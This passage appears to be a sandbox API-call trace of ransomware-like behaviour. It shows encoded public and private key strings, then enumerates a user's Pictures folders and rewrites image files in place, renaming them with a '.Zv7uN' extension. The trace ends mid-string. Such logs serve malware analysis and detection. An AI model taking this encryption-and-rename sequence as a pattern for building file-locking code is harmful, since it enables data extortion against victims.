lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.509] GetCurrentThreadId () returned 0xa30 [0085.509] GetCurrentThreadId () returned 0xa30 [0085.509] GetCurrentThreadId () returned 0xa30 [0085.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.509] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.509] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.509] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xa908 [0085.510] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.510] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0xa908, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f108*=0xa908, lpOverlapped=0x0) returned 1 [0085.512] CloseHandle (hObject=0x11c) returned 1 [0085.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.515] WriteFile (in: hFile=0x11c, lpBuffer=0x1efc040*, nNumberOfBytesToWrite=0xa908, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1efc040*, lpNumberOfBytesWritten=0x18f114*=0xa908, lpOverlapped=0x0) returned 1 [0085.519] CloseHandle (hObject=0x11c) returned 1 [0085.520] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\_DoNNCW.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\_donncw.gif.zv7un")) returned 1 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] GetCurrentThreadId () returned 0xa30 [0085.521] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af9d230, ftCreationTime.dwHighDateTime=0x1d5dc98, ftLastAccessTime.dwLowDateTime=0x2b508050, ftLastAccessTime.dwHighDateTime=0x1d5e2bd, ftLastWriteTime.dwLowDateTime=0x2b508050, ftLastWriteTime.dwHighDateTime=0x1d5e2bd, nFileSizeHigh=0x0, nFileSizeLow=0xa908, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_DoNNCW.gif", cAlternateFileName="")) returned 0 [0085.522] GetLastError () returned 0x12 [0085.522] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0085.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0x50e33600, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50e33600, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0085.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0085.522] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.522] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0x50e33600, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50e33600, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.522] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.522] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6906bf00, ftCreationTime.dwHighDateTime=0x1d5d8f3, ftLastAccessTime.dwLowDateTime=0xc6ca5430, ftLastAccessTime.dwHighDateTime=0x1d5d7c7, ftLastWriteTime.dwLowDateTime=0x50d4edc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x175c0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Bu_QHO9-h.png.Zv7uN", cAlternateFileName="BU_QHO~1.ZV7")) returned 1 [0085.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.523] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc1d680, ftCreationTime.dwHighDateTime=0x1d5e21b, ftLastAccessTime.dwLowDateTime=0x7fed2490, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x50d9b080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xae7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kgcPTg_QemXoYwIC0.gif.Zv7uN", cAlternateFileName="KGCPTG~1.ZV7")) returned 1 [0085.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.523] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aab9170, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0x5e0d4830, ftLastAccessTime.dwHighDateTime=0x1d5dec5, ftLastWriteTime.dwLowDateTime=0x50de7340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13faf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="soZZ.png.Zv7uN", cAlternateFileName="SOZZPN~1.ZV7")) returned 1 [0085.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.523] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e58ec0, ftCreationTime.dwHighDateTime=0x1d5e085, ftLastAccessTime.dwLowDateTime=0x8f3daa70, ftLastAccessTime.dwHighDateTime=0x1d5e001, ftLastWriteTime.dwLowDateTime=0x50e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="VnMkxHGllRW.jpg.Zv7uN", cAlternateFileName="VNMKXH~1.ZV7")) returned 1 [0085.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.523] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af9d230, ftCreationTime.dwHighDateTime=0x1d5dc98, ftLastAccessTime.dwLowDateTime=0x2b508050, ftLastAccessTime.dwHighDateTime=0x1d5e2bd, ftLastWriteTime.dwLowDateTime=0x50e33600, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa908, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_DoNNCW.gif.Zv7uN", cAlternateFileName="_DONNC~1.ZV7")) returned 1 [0085.523] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.523] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.523] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af9d230, ftCreationTime.dwHighDateTime=0x1d5dc98, ftLastAccessTime.dwLowDateTime=0x2b508050, ftLastAccessTime.dwHighDateTime=0x1d5e2bd, ftLastWriteTime.dwLowDateTime=0x50e33600, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa908, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_DoNNCW.gif.Zv7uN", cAlternateFileName="_DONNC~1.ZV7")) returned 0 [0085.523] GetLastError () returned 0x12 [0085.523] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0085.524] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="POBCiS", cAlternateFileName="")) returned 0 [0085.524] GetLastError () returned 0x12 [0085.524] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0085.524] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73b40850, ftCreationTime.dwHighDateTime=0x1d5d9c9, ftLastAccessTime.dwLowDateTime=0x1ba09900, ftLastAccessTime.dwHighDateTime=0x1d5e43f, ftLastWriteTime.dwLowDateTime=0x50a08f80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbb1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="drHcU2ILp K.gif.Zv7uN", cAlternateFileName="DRHCU2~1.ZV7")) returned 1 [0085.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.525] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd677cd0, ftCreationTime.dwHighDateTime=0x1d5e027, ftLastAccessTime.dwLowDateTime=0x3f6e1e50, ftLastAccessTime.dwHighDateTime=0x1d5e757, ftLastWriteTime.dwLowDateTime=0x50a55240, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7fde, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="fEw6FTan.jpg.Zv7uN", cAlternateFileName="FEW6FT~1.ZV7")) returned 1 [0085.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.525] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19995f70, ftCreationTime.dwHighDateTime=0x1d5e741, ftLastAccessTime.dwLowDateTime=0x7b53d4d0, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x50a7b3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x6f88, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="mQqJLf-H9R2.gif.Zv7uN", cAlternateFileName="MQQJLF~1.ZV7")) returned 1 [0085.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.525] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85cb340, ftCreationTime.dwHighDateTime=0x1d5e16c, ftLastAccessTime.dwLowDateTime=0x89d50350, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0x50aa1500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1019f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OCI93tz5rnG3Offp.jpg.Zv7uN", cAlternateFileName="OCI93T~1.ZV7")) returned 1 [0085.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.525] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85cb340, ftCreationTime.dwHighDateTime=0x1d5e16c, ftLastAccessTime.dwLowDateTime=0x89d50350, ftLastAccessTime.dwHighDateTime=0x1d5e81a, ftLastWriteTime.dwLowDateTime=0x50aa1500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1019f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OCI93tz5rnG3Offp.jpg.Zv7uN", cAlternateFileName="OCI93T~1.ZV7")) returned 0 [0085.525] GetLastError () returned 0x12 [0085.525] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728aa890, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0x1b43bac0, ftLastAccessTime.dwHighDateTime=0x1d5e104, ftLastWriteTime.dwLowDateTime=0x509bccc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="KdBdOCDBxl.bmp.Zv7uN", cAlternateFileName="KDBDOC~1.ZV7")) returned 1 [0085.526] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.526] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.526] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfdc920, ftCreationTime.dwHighDateTime=0x1d5e111, ftLastAccessTime.dwLowDateTime=0x58285550, ftLastAccessTime.dwHighDateTime=0x1d5e3e2, ftLastWriteTime.dwLowDateTime=0x509e2e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x11da6, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="RQwQADR.gif.Zv7uN", cAlternateFileName="RQWQAD~1.ZV7")) returned 1 [0085.526] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.526] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.526] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ZJXH", cAlternateFileName="")) returned 1 [0085.526] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.526] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0085.526] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.526] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07e4710, ftCreationTime.dwHighDateTime=0x1d5dc60, ftLastAccessTime.dwLowDateTime=0x8efce20, ftLastAccessTime.dwHighDateTime=0x1d5dc47, ftLastWriteTime.dwLowDateTime=0x8efce20, ftLastWriteTime.dwHighDateTime=0x1d5dc47, nFileSizeHigh=0x0, nFileSizeLow=0x14f13, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6Cqyf 6anxs_CSLAysE.bmp", cAlternateFileName="6CQYF6~1.BMP")) returned 1 [0085.526] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0085.526] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.527] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07e4710, ftCreationTime.dwHighDateTime=0x1d5dc60, ftLastAccessTime.dwLowDateTime=0x8efce20, ftLastAccessTime.dwHighDateTime=0x1d5dc47, ftLastWriteTime.dwLowDateTime=0x8efce20, ftLastWriteTime.dwHighDateTime=0x1d5dc47, nFileSizeHigh=0x0, nFileSizeLow=0x14f13)) returned 1 [0085.527] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp")) returned 0x20 [0085.527] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp", dwFileAttributes=0x80) returned 1 [0085.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCq